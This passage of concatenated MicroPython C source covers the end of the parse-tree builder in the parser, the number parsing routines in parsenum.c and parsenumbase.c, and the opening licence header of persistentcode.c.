expression, so it's just the expression //printf("opt!\n"); return; } } #if MICROPY_COMP_CONST_FOLDING if (fold_constants(parser, pt, pt_off, rule)) { // we folded this rule so return straight away return; } #endif #if 0 // TODO partial folding, eg 1 + 2 + x -> 3 + x mp_int_t arg0; if (rule->rule_id == RULE_expr || rule->rule_id == RULE_xor_expr || rule->rule_id == RULE_and_expr) { // combined node folding for these rules const byte *p = (byte*)pt->vv.buf + pt_off; const byte *ptop = (byte*)pt->vv.buf + pt->vv.len; if (*p != MP_PT_SMALL_INT) { goto folding_fail; } p = pt_get_small_int(p, &arg0); while (p != ptop) { if (*p != MP_PT_SMALL_INT) { goto folding_fail; } mp_int_t arg1; p = pt_get_small_int(p, &arg1); if (rule->rule_id == RULE_expr) { // int | int arg0 |= arg1; } else if (rule->rule_id == RULE_xor_expr) { // int ^ int arg0 ^= arg1; } else if (rule->rule_id == RULE_and_expr) { // int & int arg0 &= arg1; } if (!MP_SMALL_INT_FITS(arg0)) { // check needed? goto folding_fail; } } } else if (rule->rule_id == RULE_shift_expr || rule->rule_id == RULE_arith_expr || rule->rule_id == RULE_term) { // combined node folding for these rules const byte *p = (byte*)pt->vv.buf + pt_off; const byte *ptop = (byte*)pt->vv.buf + pt->vv.len; if (*p != MP_PT_SMALL_INT) { goto folding_fail; } p = pt_get_small_int(p, &arg0); while (p != ptop) { p += 1; // it's a token byte tok = *p++; if (*p != MP_PT_SMALL_INT) { goto folding_fail; } mp_int_t arg1; p = pt_get_small_int(p, &arg1); if (tok == MP_TOKEN_OP_DBL_LESS) { // int << int if (arg1 >= (mp_int_t)BITS_PER_WORD || arg0 > (MP_SMALL_INT_MAX >> arg1) || arg0 < (MP_SMALL_INT_MIN >> arg1)) { goto folding_fail; } arg0 <<= arg1; } else if (tok == MP_TOKEN_OP_DBL_MORE) { // int >> int if (arg1 >= (mp_int_t)BITS_PER_WORD) { // Shifting to big amounts is underfined behavior // in C and is CPU-dependent; propagate sign bit. arg1 = BITS_PER_WORD - 1; } arg0 >>= arg1; } else if (tok == MP_TOKEN_OP_PLUS) { // int + int arg0 += arg1; } else if (tok == MP_TOKEN_OP_MINUS) { // int - int arg0 -= arg1; } else if (tok == MP_TOKEN_OP_STAR) { // int * int if (mp_small_int_mul_overflow(arg0, arg1)) { goto folding_fail; } arg0 *= arg1; } else if (tok == MP_TOKEN_OP_SLASH) { // int / int goto folding_fail; } else if (tok == MP_TOKEN_OP_PERCENT) { // int % int if (arg1 == 0) { goto folding_fail; } arg0 = mp_small_int_modulo(arg0, arg1); } else { assert(tok == MP_TOKEN_OP_DBL_SLASH); // should be // int // int if (arg1 == 0) { goto folding_fail; } arg0 = mp_small_int_floor_divide(arg0, arg1); } if (!MP_SMALL_INT_FITS(arg0)) { goto folding_fail; } } } else if (rule->rule_id == RULE_factor_2) { const byte *p = (byte*)pt->vv.buf + pt_off; p += 1; // it's a token byte tok = *p++; if (*p != MP_PT_SMALL_INT) { goto folding_fail; } arg0 = pt_small_int_value(p); if (tok == MP_TOKEN_OP_PLUS) { // +int } else if (tok == MP_TOKEN_OP_MINUS) { // -int arg0 = -arg0; if (!MP_SMALL_INT_FITS(arg0)) { goto folding_fail; } } else { assert(tok == MP_TOKEN_OP_TILDE); // should be // ~int arg0 = ~arg0; } } else { goto folding_fail; } // success folding this rule pt_raw_truncate_at(pt, pt_off); pt_add_kind_int(pt, MP_PT_SMALL_INT, arg0); return; folding_fail:; #endif int extra_node = 0; /* if (ADD_BLANK_NODE(rule)) { extra_node = 1 + BYTES_PER_WORD; // for small int node } */ size_t nbytes = pt->vv.len + extra_node - pt_off; int nb1 = vuint_nbytes(src_line); int nb2 = vuint_nbytes(nbytes); byte *dest = (byte*)pt_raw_ins_blank(pt, pt_off, 1 + nb1 + nb2 + extra_node); dest[0] = MP_PT_RULE_BASE + rule->rule_id; vuint_store(dest + 1, nb1, src_line); vuint_store(dest + 1 + nb1, nb2, nbytes); // insert small int node for scope index if (extra_node != 0) { dest[1 + nb1 + nb2] = MP_PT_SMALL_INT; size_t val = ++parser->cur_scope_id; for (size_t i = 0; i < BYTES_PER_WORD; ++i) { dest[1 + nb1 + nb2 + 1 + i] = val; val >>= 8; } } } STATIC void make_node_const_object(parser_t *parser, pt_t *pt, mp_obj_t obj) { int nb = vuint_nbytes(parser->co_used); byte *buf = pt_raw_add_blank(pt, 1 + nb); buf[0] = MP_PT_CONST_OBJECT; vuint_store(buf + 1, nb, parser->co_used); if (parser->co_used >= parser->co_alloc) { // TODO use m_renew_maybe size_t alloc = parser->co_alloc + 8; parser->co_data = m_renew(mp_uint_t, parser->co_data, parser->co_alloc, alloc); parser->co_alloc = alloc; } parser->co_data[parser->co_used++] = (mp_uint_t)obj; } STATIC void make_node_string_bytes(parser_t *parser, pt_t *pt, mp_token_kind_t tok, const char *str, size_t len) { mp_obj_t o; if (tok == MP_TOKEN_STRING) { o = mp_obj_new_str(str, len, false); } else { o = mp_obj_new_bytes((const byte*)str, len); } make_node_const_object(parser, pt, o); } STATIC bool pt_add_token(parser_t *parser, pt_t *pt) { mp_lexer_t *lex = parser->lexer; if (lex->tok_kind == MP_TOKEN_NAME) { qstr id = qstr_from_strn(lex->vstr.buf, lex->vstr.len); #if MICROPY_COMP_CONST // lookup identifier in table of dynamic constants mp_map_elem_t *elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP); if (elem != NULL) { pt_add_kind_int(pt, MP_PT_SMALL_INT, MP_OBJ_SMALL_INT_VALUE(elem->value)); } else #endif { pt_add_kind_qstr(pt, MP_PT_ID_BASE, id); } } else if (lex->tok_kind == MP_TOKEN_INTEGER) { mp_obj_t o = mp_parse_num_integer(lex->vstr.buf, lex->vstr.len, 0, lex); if (MP_OBJ_IS_SMALL_INT(o)) { pt_add_kind_int(pt, MP_PT_SMALL_INT, MP_OBJ_SMALL_INT_VALUE(o)); } else { make_node_const_object(parser, pt, o); } } else if (lex->tok_kind == MP_TOKEN_FLOAT_OR_IMAG) { mp_obj_t o = mp_parse_num_decimal(lex->vstr.buf, lex->vstr.len, true, false, lex); make_node_const_object(parser, pt, o); } else if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) { // join adjacent string/bytes literals mp_token_kind_t tok_kind = lex->tok_kind; vstr_t vstr; vstr_init(&vstr, lex->vstr.len); do { vstr_add_strn(&vstr, lex->vstr.buf, lex->vstr.len); mp_lexer_to_next(lex); } while (lex->tok_kind == tok_kind); if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) { return false; } // Don't automatically intern all strings/bytes. doc strings (which are usually large) // will be discarded by the compiler, and so we shouldn't intern them. qstr qst = MP_QSTR_NULL; if (vstr.len <= MICROPY_ALLOC_PARSE_INTERN_STRING_LEN) { // intern short strings qst = qstr_from_strn(vstr.buf, vstr.len); } else { // check if this string is already interned qst = qstr_find_strn(vstr.buf, vstr.len); } if (qst != MP_QSTR_NULL) { // qstr exists, make a leaf node pt_add_kind_qstr(pt, tok_kind == MP_TOKEN_STRING ? MP_PT_STRING : MP_PT_BYTES, qst); } else { // not interned, make a node holding a pointer to the string/bytes data make_node_string_bytes(parser, pt, tok_kind, vstr.buf, vstr.len); } vstr_clear(&vstr); return true; } else { pt_add_kind_byte(pt, MP_PT_TOKEN, lex->tok_kind); } mp_lexer_to_next(lex); return true; } const byte *pt_rule_extract_top(const byte *p, const byte **ptop) { assert(*p >= MP_PT_RULE_BASE); p++; vuint_load(&p); size_t nbytes = vuint_load(&p); *ptop = p + nbytes; return p; } const byte *pt_rule_extract(const byte *p, size_t *rule_id, size_t *src_line, const byte **ptop) { assert(*p >= MP_PT_RULE_BASE); *rule_id = *p++ - MP_PT_RULE_BASE; *src_line = vuint_load(&p); size_t nbytes = vuint_load(&p); *ptop = p + nbytes; return p; } bool pt_is_rule_empty(const byte *p) { const byte *ptop; p = pt_rule_extract_top(p, &ptop); return p == ptop; } mp_parse_tree_t mp_parse(mp_lexer_t *lex, mp_parse_input_kind_t input_kind) { // initialise parser and allocate memory for its stacks parser_t parser; parser.parse_error = PARSE_ERROR_NONE; parser.rule_stack_alloc = MICROPY_ALLOC_PARSE_RULE_INIT; parser.rule_stack_top = 0; parser.rule_stack = m_new_maybe(rule_stack_t, parser.rule_stack_alloc); parser.cur_scope_id = 0; parser.co_alloc = 0; parser.co_used = 0; parser.co_data = NULL; parser.lexer = lex; parser.tree.chunk = NULL; #if MICROPY_COMP_CONST mp_map_init(&parser.consts, 0); #endif // check if we could allocate the stacks if (parser.rule_stack == NULL) { goto memory_error; } // work out the top-level rule to use, and push it on the stack size_t top_level_rule; switch (input_kind) { case MP_PARSE_SINGLE_INPUT: top_level_rule = RULE_single_input; break; case MP_PARSE_EVAL_INPUT: top_level_rule = RULE_eval_input; break; default: top_level_rule = RULE_file_input; } push_rule(&parser, lex->tok_line, rules[top_level_rule], 0, 0); // parse! size_t n, i; // state for the current rule size_t pt_off = 0; // state for the current rule size_t rule_src_line; // source line for the first token matched by the current rule bool backtrack = false; const rule_t *rule = NULL; pt_t *pt = pt_new(); for (;;) { next_rule: if (parser.rule_stack_top == 0 || parser.parse_error) { break; } pop_rule(&parser, &rule, &i, &rule_src_line, &pt_off); n = rule->act & RULE_ACT_ARG_MASK; if (i == 0) { pt_off = pt->vv.len; } /* // debugging printf("depth=%d ", parser.rule_stack_top); for (int j = 0; j < parser.rule_stack_top; ++j) { printf(" "); } printf("%s n=%d i=%d bt=%d\n", rule->rule_name, n, i, backtrack); */ switch (rule->act & RULE_ACT_KIND_MASK) { case RULE_ACT_OR: if (i > 0 && !backtrack) { goto next_rule; } else { backtrack = false; } for (; i < n; ++i) { uint16_t kind = rule->arg[i] & RULE_ARG_KIND_MASK; if (kind == RULE_ARG_TOK) { if (lex->tok_kind == (rule->arg[i] & RULE_ARG_ARG_MASK)) { if (!pt_add_token(&parser, pt)) { goto syntax_error; } goto next_rule; } } else { assert(kind == RULE_ARG_RULE); if (i + 1 < n) { push_rule(&parser, rule_src_line, rule, i + 1, pt_off); // save this or-rule } push_rule_from_arg(&parser, rule->arg[i]); // push child of or-rule goto next_rule; } } backtrack = true; break; case RULE_ACT_AND: { // failed, backtrack if we can, else syntax error if (backtrack) { assert(i > 0); if ((rule->arg[i - 1] & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE) { // an optional rule that failed, so continue with next arg pt_add_null(pt); backtrack = false; } else { // a mandatory rule that failed, so propagate backtrack if (i > 1) { // already eaten tokens so can't backtrack goto syntax_error; } else { goto next_rule; } } } // progress through the rule for (; i < n; ++i) { switch (rule->arg[i] & RULE_ARG_KIND_MASK) { case RULE_ARG_TOK: { // need to match a token mp_token_kind_t tok_kind = rule->arg[i] & RULE_ARG_ARG_MASK; if (lex->tok_kind == tok_kind) { // matched token if (tok_kind == MP_TOKEN_NAME) { pt_add_kind_qstr(pt, MP_PT_ID_BASE, qstr_from_strn(lex->vstr.buf, lex->vstr.len)); } if (i == 0 && ADD_BLANK_NODE(rule)) { pt_add_kind_int(pt, MP_PT_SMALL_INT, ++parser.cur_scope_id); } mp_lexer_to_next(lex); } else { // failed to match token if (i > 0) { // already eaten tokens so can't backtrack goto syntax_error; } else { // this rule failed, so backtrack backtrack = true; goto next_rule; } } break; } case RULE_ARG_RULE: case RULE_ARG_OPT_RULE: default: push_rule(&parser, rule_src_line, rule, i + 1, pt_off); // save this and-rule push_rule_from_arg(&parser, rule->arg[i]); // push child of and-rule goto next_rule; } } assert(i == n); // matched the rule, so now build the corresponding parse_node // count number of arguments for the parse_node i = 0; bool emit_rule = false; /* for (size_t x = 0; x < n; ++x) { if ((rule->arg[x] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { mp_token_kind_t tok_kind = rule->arg[x] & RULE_ARG_ARG_MASK; if (tok_kind >= MP_TOKEN_NAME) { emit_rule = true; } if (tok_kind == MP_TOKEN_NAME) { // only tokens which were names are pushed to stack i += 1; } } else { // rules are always pushed i += 1; } } */ for (size_t x = 0; x < n; ++x) { if ((rule->arg[x] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { mp_token_kind_t tok_kind = rule->arg[x] & RULE_ARG_ARG_MASK; if (tok_kind >= MP_TOKEN_NAME) { emit_rule = true; } } } for (const byte *p = (byte*)pt->vv.buf + pt_off; p < (byte*)pt->vv.buf + pt->vv.len;) { i += 1; p = pt_advance(p, true); } #if 0 && !MICROPY_ENABLE_DOC_STRING // this code discards lonely statements, such as doc strings if (input_kind != MP_PARSE_SINGLE_INPUT && rule->rule_id == RULE_expr_stmt && peek_result(&parser, 0) == MP_PARSE_NODE_NULL) { mp_parse_node_t p = peek_result(&parser, 1); if ((MP_PARSE_NODE_IS_LEAF(p) && !MP_PARSE_NODE_IS_ID(p)) || MP_PARSE_NODE_IS_STRUCT_KIND(p, RULE_string)) { pop_result(&parser); // MP_PARSE_NODE_NULL mp_parse_node_t pn = pop_result(&parser); // possibly RULE_string if (MP_PARSE_NODE_IS_STRUCT(pn)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t *)pn; if (MP_PARSE_NODE_STRUCT_KIND(pns) == RULE_string) { m_del(char, (char*)pns->nodes[0], (mp_uint_t)pns->nodes[1]); } } push_result_rule(&parser, rule_src_line, rules[RULE_pass_stmt], 0); break; } } #endif // always emit these rules, even if they have only 1 argument if (rule->rule_id == RULE_expr_stmt || rule->rule_id == RULE_yield_stmt) { emit_rule = true; } // if a rule has the RULE_ACT_ALLOW_IDENT bit set then this // rule should not be emitted if it has only 1 argument if (rule->act & RULE_ACT_ALLOW_IDENT) { emit_rule = false; } // always emit these rules, and add an extra blank node at the end (to be used by the compiler to store data) if (ADD_BLANK_NODE(rule)) { emit_rule = true; // TODO //add_result_node(&parser, MP_PARSE_NODE_NULL); //i += 1; } // count number of non-null nodes size_t num_not_null = 0; size_t num_trail_null = 0; { const byte *p = (byte*)pt->vv.buf + pt_off; for (size_t x = 0; x < i; ++x) { if (*p != MP_PT_NULL) { num_not_null += 1; num_trail_null = 0; } else { num_trail_null += 1; } p = pt_advance(p, true); }} if (emit_rule || num_not_null != 1) { // need to add rule when num_not_null == 0 for, eg, atom_paren, testlist_comp_3b pt_del_tail_bytes(pt, num_trail_null); // remove trailing null nodes, they are store implicitly pt_ins_rule(&parser, pt, pt_off, rule_src_line, rule, i - num_trail_null); } else { // single result, leave it on stack const byte *p = (byte*)pt->vv.buf + pt_off; for (size_t x = 0; x < i; ++x) { if (*p == MP_PT_NULL) { p = pt_del_byte(pt, p); } else { p = pt_advance(p, true); } } } break; } case RULE_ACT_LIST: default: // nothing else { // n=2 is: item item* // n=1 is: item (sep item)* // n=3 is: item (sep item)* [sep] bool had_trailing_sep; if (backtrack) { list_backtrack: had_trailing_sep = false; if (n == 2) { if (i == 1) { // fail on item, first time round; propagate backtrack goto next_rule; } else { // fail on item, in later rounds; finish with this rule backtrack = false; } } else { if (i == 1) { // fail on item, first time round; propagate backtrack goto next_rule; } else if ((i & 1) == 1) { // fail on item, in later rounds; have eaten tokens so can't backtrack if (n == 3) { // list allows trailing separator; finish parsing list had_trailing_sep = true; backtrack = false; } else { // list doesn't allowing trailing separator; fail goto syntax_error; } } else { // fail on separator; finish parsing list backtrack = false; } } } else { for (;;) { size_t arg = rule->arg[i & 1 & n]; switch (arg & RULE_ARG_KIND_MASK) { case RULE_ARG_TOK: if (lex->tok_kind == (arg & RULE_ARG_ARG_MASK)) { if (i & 1 & n) { // separators which are tokens are not pushed to result stack mp_lexer_to_next(lex); } else { pt_add_token(&parser, pt); } // got element of list, so continue parsing list i += 1; } else { // couldn't get element of list i += 1; backtrack = true; goto list_backtrack; } break; case RULE_ARG_RULE: rule_list_no_other_choice: push_rule(&parser, rule_src_line, rule, i + 1, pt_off); // save this list-rule push_rule_from_arg(&parser, arg); // push child of list-rule goto next_rule; default: assert(0); goto rule_list_no_other_choice; // to help flow control analysis } } } assert(i >= 1); // compute number of elements in list, result in i i -= 1; if ((n & 1) && (rule->arg[1] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { // don't count separators when they are tokens i = (i + 1) / 2; } if (i == 1) { // list matched single item if (had_trailing_sep) { // if there was a trailing separator, make a list of a single item pt_ins_rule(&parser, pt, pt_off, rule_src_line, rule, i); } else { // just leave single item on stack (ie don't wrap in a list) } } else { pt_ins_rule(&parser, pt, pt_off, rule_src_line, rule, i); } break; } } } #if MICROPY_COMP_CONST mp_map_deinit(&parser.consts); #endif #if 0 pt_show((const byte*)pt->vv.buf, (const byte*)pt->vv.buf + pt->vv.len); { size_t n_pool, n_qstr, n_str_data_bytes, n_total_bytes; qstr_pool_info(&n_pool, &n_qstr, &n_str_data_bytes, &n_total_bytes); printf("qstr pool: n_pool=" UINT_FMT ", n_qstr=" UINT_FMT ", n_str_data_bytes=" UINT_FMT ", n_total_bytes=" UINT_FMT "\n", n_pool, n_qstr, n_str_data_bytes, n_total_bytes); } #endif mp_obj_t exc; if (parser.parse_error) { #if MICROPY_COMP_CONST if (parser.parse_error == PARSE_ERROR_CONST) { exc = mp_obj_new_exception_msg(&mp_type_SyntaxError, "constant must be an integer"); } else #endif { assert(parser.parse_error == PARSE_ERROR_MEMORY); memory_error: exc = mp_obj_new_exception_msg(&mp_type_MemoryError, "parser could not allocate enough memory"); } parser.tree.root = NULL; } else if ( lex->tok_kind != MP_TOKEN_END // check we are at the end of the token stream || pt->vv.len == 0 // check that we got a node (can fail on empty input) ) { syntax_error: if (lex->tok_kind == MP_TOKEN_INDENT) { exc = mp_obj_new_exception_msg(&mp_type_IndentationError, "unexpected indent"); } else if (lex->tok_kind == MP_TOKEN_DEDENT_MISMATCH) { exc = mp_obj_new_exception_msg(&mp_type_IndentationError, "unindent does not match any outer indentation level"); } else if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) { exc = mp_obj_new_exception_msg(&mp_type_SyntaxError, "cannot mix bytes and nonbytes literals"); } else { exc = mp_obj_new_exception_msg(&mp_type_SyntaxError, "invalid syntax"); } parser.tree.root = NULL; } else { // no errors //result_stack_show(parser); //printf("rule stack alloc: %d\n", parser.rule_stack_alloc); //printf("result stack alloc: %d\n", parser.result_stack_alloc); //printf("number of parse nodes allocated: %d\n", num_parse_nodes_allocated); // add number of scopes pt_add_kind_int(pt, MP_PT_SMALL_INT, parser.cur_scope_id + 1); // get the root parse node that we created //assert(parser.result_stack_top == 1); exc = MP_OBJ_NULL; parser.tree.root = (byte*)pt->vv.buf; parser.tree.co_data = parser.co_data; } // free the memory that we don't need anymore m_del(rule_stack_t, parser.rule_stack, parser.rule_stack_alloc); // we also free the lexer on behalf of the caller (see below) if (exc != MP_OBJ_NULL) { // had an error so raise the exception // add traceback to give info about file name and location // we don't have a 'block' name, so just pass the NULL qstr to indicate this mp_obj_exception_add_traceback(exc, lex->source_name, lex->tok_line, MP_QSTR_NULL); mp_lexer_free(lex); nlr_raise(exc); } else { mp_lexer_free(lex); return parser.tree; } } void mp_parse_tree_clear(mp_parse_tree_t *tree) { mp_parse_chunk_t *chunk = tree->chunk; while (chunk != NULL) { mp_parse_chunk_t *next = chunk->union_.next; m_del(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc); chunk = next; } } #endif // MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER ================================================ FILE: micropython/source/py/parsenum.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" #include "py/parsenumbase.h" #include "py/parsenum.h" #include "py/smallint.h" #if MICROPY_PY_BUILTINS_FLOAT #include #endif STATIC NORETURN void raise_exc(mp_obj_t exc, mp_lexer_t *lex) { // if lex!=NULL then the parser called us and we need to convert the // exception's type from ValueError to SyntaxError and add traceback info if (lex != NULL) { ((mp_obj_base_t*)MP_OBJ_TO_PTR(exc))->type = &mp_type_SyntaxError; mp_obj_exception_add_traceback(exc, lex->source_name, lex->tok_line, MP_QSTR_NULL); } nlr_raise(exc); } mp_obj_t mp_parse_num_integer(const char *restrict str_, size_t len, int base, mp_lexer_t *lex) { const byte *restrict str = (const byte *)str_; const byte *restrict top = str + len; bool neg = false; mp_obj_t ret_val; // check radix base if ((base != 0 && base < 2) || base > 36) { // this won't be reached if lex!=NULL mp_raise_ValueError("int() arg 2 must be >= 2 and <= 36"); } // skip leading space for (; str < top && unichar_isspace(*str); str++) { } // parse optional sign if (str < top) { if (*str == '+') { str++; } else if (*str == '-') { str++; neg = true; } } // parse optional base prefix str += mp_parse_num_base((const char*)str, top - str, &base); // string should be an integer number mp_int_t int_val = 0; const byte *restrict str_val_start = str; for (; str < top; str++) { // get next digit as a value mp_uint_t dig = *str; if ('0' <= dig && dig <= '9') { dig -= '0'; } else { dig |= 0x20; // make digit lower-case if ('a' <= dig && dig <= 'z') { dig -= 'a' - 10; } else { // unknown character break; } } if (dig >= (mp_uint_t)base) { break; } // add next digi and check for overflow if (mp_small_int_mul_overflow(int_val, base)) { goto overflow; } int_val = int_val * base + dig; if (!MP_SMALL_INT_FITS(int_val)) { goto overflow; } } // negate value if needed if (neg) { int_val = -int_val; } // create the small int ret_val = MP_OBJ_NEW_SMALL_INT(int_val); have_ret_val: // check we parsed something if (str == str_val_start) { goto value_error; } // skip trailing space for (; str < top && unichar_isspace(*str); str++) { } // check we reached the end of the string if (str != top) { goto value_error; } // return the object return ret_val; overflow: // reparse using long int { const char *s2 = (const char*)str_val_start; ret_val = mp_obj_new_int_from_str_len(&s2, top - str_val_start, neg, base); str = (const byte*)s2; goto have_ret_val; } value_error: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_obj_t exc = mp_obj_new_exception_msg(&mp_type_ValueError, "invalid syntax for integer"); raise_exc(exc, lex); } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL) { mp_obj_t exc = mp_obj_new_exception_msg_varg(&mp_type_ValueError, "invalid syntax for integer with base %d", base); raise_exc(exc, lex); } else { vstr_t vstr; mp_print_t print; vstr_init_print(&vstr, 50, &print); mp_printf(&print, "invalid syntax for integer with base %d: ", base); mp_str_print_quoted(&print, str_val_start, top - str_val_start, true); mp_obj_t exc = mp_obj_new_exception_arg1(&mp_type_ValueError, mp_obj_new_str_from_vstr(&mp_type_str, &vstr)); raise_exc(exc, lex); } } typedef enum { PARSE_DEC_IN_INTG, PARSE_DEC_IN_FRAC, PARSE_DEC_IN_EXP, } parse_dec_in_t; mp_obj_t mp_parse_num_decimal(const char *str, size_t len, bool allow_imag, bool force_complex, mp_lexer_t *lex) { #if MICROPY_PY_BUILTINS_FLOAT const char *top = str + len; mp_float_t dec_val = 0; bool dec_neg = false; bool imag = false; // skip leading space for (; str < top && unichar_isspace(*str); str++) { } // parse optional sign if (str < top) { if (*str == '+') { str++; } else if (*str == '-') { str++; dec_neg = true; } } const char *str_val_start = str; // determine what the string is if (str < top && (str[0] | 0x20) == 'i') { // string starts with 'i', should be 'inf' or 'infinity' (case insensitive) if (str + 2 < top && (str[1] | 0x20) == 'n' && (str[2] | 0x20) == 'f') { // inf str += 3; dec_val = INFINITY; if (str + 4 < top && (str[0] | 0x20) == 'i' && (str[1] | 0x20) == 'n' && (str[2] | 0x20) == 'i' && (str[3] | 0x20) == 't' && (str[4] | 0x20) == 'y') { // infinity str += 5; } } } else if (str < top && (str[0] | 0x20) == 'n') { // string starts with 'n', should be 'nan' (case insensitive) if (str + 2 < top && (str[1] | 0x20) == 'a' && (str[2] | 0x20) == 'n') { // NaN str += 3; dec_val = MICROPY_FLOAT_C_FUN(nan)(""); } } else { // string should be a decimal number parse_dec_in_t in = PARSE_DEC_IN_INTG; bool exp_neg = false; mp_float_t frac_mult = 0.1; mp_int_t exp_val = 0; while (str < top) { mp_uint_t dig = *str++; if ('0' <= dig && dig <= '9') { dig -= '0'; if (in == PARSE_DEC_IN_EXP) { exp_val = 10 * exp_val + dig; } else { if (in == PARSE_DEC_IN_FRAC) { dec_val += dig * frac_mult; frac_mult *= MICROPY_FLOAT_CONST(0.1); } else { dec_val = 10 * dec_val + dig; } } } else if (in == PARSE_DEC_IN_INTG && dig == '.') { in = PARSE_DEC_IN_FRAC; } else if (in != PARSE_DEC_IN_EXP && ((dig | 0x20) == 'e')) { in = PARSE_DEC_IN_EXP; if (str < top) { if (str[0] == '+') { str++; } else if (str[0] == '-') { str++; exp_neg = true; } } if (str == top) { goto value_error; } } else if (allow_imag && (dig | 0x20) == 'j') { imag = true; break; } else { // unknown character str--; break; } } // work out the exponent if (exp_neg) { exp_val = -exp_val; } // apply the exponent dec_val *= MICROPY_FLOAT_C_FUN(pow)(10, exp_val); } // negate value if needed if (dec_neg) { dec_val = -dec_val; } // check we parsed something if (str == str_val_start) { goto value_error; } // skip trailing space for (; str < top && unichar_isspace(*str); str++) { } // check we reached the end of the string if (str != top) { goto value_error; } // return the object #if MICROPY_PY_BUILTINS_COMPLEX if (imag) { return mp_obj_new_complex(0, dec_val); } else if (force_complex) { return mp_obj_new_complex(dec_val, 0); #else if (imag || force_complex) { raise_exc(mp_obj_new_exception_msg(&mp_type_ValueError, "complex values not supported"), lex); #endif } else { return mp_obj_new_float(dec_val); } value_error: raise_exc(mp_obj_new_exception_msg(&mp_type_ValueError, "invalid syntax for number"), lex); #else raise_exc(mp_obj_new_exception_msg(&mp_type_ValueError, "decimal numbers not supported"), lex); #endif } ================================================ FILE: micropython/source/py/parsenumbase.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpconfig.h" #include "py/misc.h" #include "py/parsenumbase.h" // find real radix base, and strip preceding '0x', '0o' and '0b' // puts base in *base, and returns number of bytes to skip the prefix size_t mp_parse_num_base(const char *str, size_t len, int *base) { const byte *p = (const byte*)str; if (len <= 1) { goto no_prefix; } unichar c = *(p++); if ((*base == 0 || *base == 16) && c == '0') { c = *(p++); if ((c | 32) == 'x') { *base = 16; } else if (*base == 0 && (c | 32) == 'o') { *base = 8; } else if (*base == 0 && (c | 32) == 'b') { *base = 2; } else { if (*base == 0) { *base = 10; } p -= 2; } } else if (*base == 8 && c == '0') { c = *(p++); if ((c | 32) != 'o') { p -= 2; } } else if (*base == 2 && c == '0') { c = *(p++); if ((c | 32) != 'b') { p -= 2; } } else { p--; no_prefix: if (*base == 0) { *base = 10; } } return p - (const byte*)str; } ================================================ FILE: micropython/source/py/persistentcode.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/reader.h" #include "py/emitglue.h" #include "py/persistentcode.h" #include "py/bc.h" #if 